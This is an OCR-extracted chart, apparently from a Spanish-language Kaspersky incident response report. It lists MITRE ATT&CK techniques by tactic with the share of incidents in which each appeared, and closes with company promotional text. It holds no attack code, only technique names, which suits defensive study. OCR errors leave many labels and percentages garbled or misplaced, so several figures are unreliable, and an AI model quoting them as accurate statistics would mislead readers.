T1556.006: Modificacién del proceso de

A ; g 0,68 %
autenticacion (autenticacion multifactor)
T1098.005: Manipulacién de cuenta

ipulaci u 0,68%

(registro de dispositivos)
T1114.003: Recopilaciéon de correos electrénicos 0.68 %
(regla de reenvio de correos electrénicos) % -
T1098: Manipulacion de cuenta 0,68 %
T1078: Cuentas vélidas 0,68 %

T1053.003: Tarea o trabajo programados (cron) 0,68%
T1505: Componente de software de servidor 0,68 %
T1098.004: Manipulacién de cuenta (claves o
autorizadas de SSH) B
T1574.006: Flujo de ejecucion de secuestro

uj jecuci uestr 0.68%

(secuestro de enlace dinamico)

TAOOO4:
Escalamiento de privilegios

8.002: Cuentas vdlidas (cuentas de dominio) 2,72 %

T1098.002: Manipulacién de cuenta (permisos

%
de delegacion de correo electrénico adicionales) O
T1055.012: Incursiones en procesos
: gt £ 0,68 %
(vaciado de procesos)
T1546.008 Ejecucion activada por eventos
jecuci iV p! V/( 0,68 %
(funciones de accesibilidad)
T1543.003: Creacion o modificacion de proceso
reaci odificaci procesos 0.68%

del sistema (Windows Service)

T1068: Explotacion de escalacion de privilegios 0,68 %

TAOOOS5: Evasion de defengas

T1070.004: Eliminacién de indicadores
_(eliminacién de archivos)

748 %

T1562.001: Alteracion de las defensas

e ; o : 6,80 %
_(desactivacion o modificacion de herramientas) °>

T1070.001: Eliminacién de indicadores

9
_(eliminacion de registros de eventos de Windows) 6125 4

T1036.005: Enmascaramiento

6,12%
_(coincidencia con nombre o ubicacion verdadera) i 5

T1027.002: Archivos o informacién ofuscados

4,76 %
_(creacic’m de paquetes de software) %

T1140: Decodificacién/desofuscar archivos
_oinformacion

T1036.004: Enmascaramiento
(replicacion de tarea o servicio)

T1027: Archivos o informacién ofuscados 3,40 %

T1574.002: Flujo de ejecucién de secuestro

9
(carga lateral de DLL) 2042

T1562.002: Alteracion de las defensas

2,04%
(desactivacion del registro de eventos de Windows) i

Iteracion de las defensas
del registro de eventos de Wi




TAOOO5: Evasion de defengas

T1197: Trabajos de BITS 1,36 %

T112: Modificacién de registro 1,36 %

T1564.008: Ocultamiento de artefactos

. 0,68 %
(reglas de ocultamiento de correos electrénicos)

T1027.010: Archivos o informacién ofuscados

0,68 %
(ofuscacion de comandos) aBge

T1070.006: Eliminacién de indicadores (timestomp) 0,68 %

T1070.002: Eliminacién de indicadores

0,68 %
(eliminacién de registros del sistema Linux o Mac) %
T1218.011: Ejecucion por proxy de binario

jecucion por proxy inari 0.68%

de sistema (rundll32)
T1202: Ejecucién indirecta de comandos 0,68 %
T1027.001: Archivos o informacién ofuscados

0,68 %

(relleno binario)

T1548.002: Abuso del mecanismo de control de
elevacion (circunvencion de control de cuentas 0,68 %
de usuarios)

T1006: Acceso directo a volumen 0,68 %
T1562.004: Alteracion de las defensas 0.68 %
(desactivacion o modificacion del firewall) ’ .
T1484.001: Modificacion de directivas de dominios

I {{ | Vi [lal{ 0’68 %

(modificacién de directivas de grupos)

TAOOO6: Acceso a credenciales

T1003.002: Volcado de credenciales de SO
(gestor de cuentas de seguridad)

T1552: Credenciales no protegidas

T1MO0.001: Fuerza bruta (adivinacién de contrasefias) 1,36 %

T1558.001: Robo o falsificacién de tickets
de Kerberos (billete dorado)

T1528: Robo del token para acceso a aplicaciones 0,68 %

T1552.001: Credenciales no protegidas

o
%
(credenciales en archivos) QicB

T1649: Robo o falsificacién de certificados
de autenticacion

0,68 %
T110.004: Fuerza bruta (relleno de credenciales) 0,68 %
T1003.003: Volcado de credenciales de SO (NTDS) 0,68 %

T1555.003: Credenciales procedentes
de almacenes de contrasefias 0,68 %

TAOOO7: Descubrimiento

T1083: Deteccioén de archivos y directorios 7,48 %

T1046: Deteccidn de servicio en red 5,44 % :
T1082: Deteccion de informacion del sistema 476 % :
T1135: Deteccidn de recursos compartidosenred 4,76 %
T1018: Deteccidn de sistemas remotos

T1033: Deteccién de usuarios/propietarios
del sistema

02: Deteccion de cuenta (cuenta de dominio) 2,04 %

T1057: Deteccién de procesos 2,04%

T1016: Deteccién de configuracién de red
en el sistema

T1069.002: Deteccién de grupos y permisos
(grupos de dominio)

1,36 %

T1518.001: Deteccién de software

o
(deteccion de software de seguridad) 1,36.%

T1007: Deteccidn de servicios del sistema 1,36 %

T1497: Evasion de entornos de virtualizacion/pruebas 0,68 %

T1016.001: Deteccién de configuracion de red del

: J x 0,68 %
sistema (deteccidn de conexion a Internet)

T1087.001: Deteccion de cuenta (cuenta local) 0,68 %

TAOOO08: Movimiento lateral

' T1021.001: Servicios remotos
M 1293 %
(protocolo de escritorio remoto) 3
L T1021: Servicios remotos 7,48%

T1021.002: Servicios remotos (recursos
compartidos de administrador de SMB/Windows)

6,12%
T1021.004: Servicios remotos (SSH) 4,08 %
T1570: Transferencia lateral de herramientas 2,04%

T1072: Herramientas de desarrollo de software 1,36 %

T1078.002: Cuentas vélidas (cuentas de dominio) 0,68 %
T1021.005: Servicios remotos (VNC) 0,68 %

T1563.001: Secuestro de sesion de servicio

9
remoto (secuestro de SSH) 0,68 %

TAOO0O09: Recopilacién

T1005: Datos del sistema local

T1560.0071: Archivado de dat: ilad C
rchivado de datos recopilados 272%

(archivado mediante utilidad)

T1119: Recoleccién automatizada 272%

T1560.002: Archivado de datos recopilados

T1572: Tunelizacién de protocolo
T1219: Software de acceso remoto
T1105: Transferencia de herramientas de infiltracion 2,72 %

T1071.001: Protocolo de capa de aplicacién
(protocolos web)

272%

T1571: Puerto no esténdar

T1132.001: Codificacién de datos
(codificacién estandar)

T1095: Sin protocolo de capa de aplicacion 1,36 %

T1053.005: Tarea o trabajo programados
(tarea programada)

1,36 %

0,68 %

T1071.004: Protocolo de capa de aplicacion (DNS) 0,68 %

T1573.001: Canal cifrado (criptografia simétrica) 0,68 %

T1071: Protocolo de capa de aplicacién 0,68 %
T1001: Ofuscacion de datos 0,68 %
T1090.002: Proxy (proxy externo) 0,68 %
T1090: Proxy 0,68 %

TAOO10: Exfiltracion

T1567: Exfiltracion por servicio web 3,40%

T1041: Exfiltracién por canal C2 2,72%

T1537: Transferencia de datos acuentaenlanube 0,68 %

TAO040: Impacto

17_1:_136: I__Jatos_ cifr_adosl para mayor impacto - 17,01 -‘%

T1485: Destruccién de datos 3,40 %
T1565: Manipulacion de datos 2,72%

T1565.001: Manipulacién de datos

_(manipulacic’)n de datos almacenados) 1,362 -
T1491.002: Destruccién (destruccidn externa) 1,36 %

T1657: Robo financiero 0,68 %
T1531: Eliminacion de acceso ala cuenta 0,68 %
T1529: Apagado/reinicio del sistema 0,68 %

T1561.002: Borrado de disco (borrado de la
estructura de disco)

0,68 %

d les d d lo) 2 L 0,68 %
SIS e R/ RERCRe WeD) (archivado mediante biblioteca) >
T1056.003: Capturad trad
] S pi?tal‘\"\iekf)en ice 0,68 % T1113: Captura de pantalla 0,68 %
T1056.001: Captura de entrada (registradores 3 TTO?é.OOt CEpREEN D 0,68 %
AT ) 0,68 % (registradores de pulsaciones de teclas)

T1560: Archivado de datos recopilados 0,68 %
T1039: Datos de unidad compartida de red 0,68%
L J E ] E-3 g2
1-5% 6-10 % 1-15 % >16 %
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Sobre Kaspersky

Kaspersky es una empresa global de ciberseguridad y privacidad digital
fundada en 1997. Los amplios conocimientos sobre amenazas y la vasta
experiencia en seguridad de la empresa se transforman constantemente
en soluciones y servicios de seguridad innovadores destinados a proteger
aempresas, infraestructuras criticas, gobiernos y consumidores de todo
el mundo. Nuestra cartera de seguridad integral para empresas incluye
proteccion lider en endpoints y soluciones y servicios de seguridad
especializados destinados a combatir ciberamenazas complejas y en
constante evolucion.

Servicios de ciberseguridad

Kaspersky
Managed Detection
and Response

Kaspersky
Incident Response

Kaspersky ; Kaspersky
Compromise Digital Footprint
Assessment Intelligence
@ g:iﬁfi?ky Kaspersky
4 SOC Consulting
Assessment

Reconocimiento global

Los productos y las soluciones de Kaspersky se someten constantemente
a pruebas y revisiones independientes, y suelen lograr los mejores
resultados, reconocimientos y premios de manera habitual. Nuestras
tecnologias y procesos son evaluados y verificados regularmente por las
organizaciones de analistas mas respetadas del mundo. La mas probada.
LL.a mas premiada.
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Mas de 5000

profesionales trabajan
en Kaspersky
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5

centros de excelencia
dnicos

Mas de 410 000

nuevos archivos maliciosos
detectados por Kaspersky
cada dia

Mas de 220 000

clientes corporativos
en todo el mundo

6100 millones

de ciberataques
detectados por nuestras
soluciones en 2023
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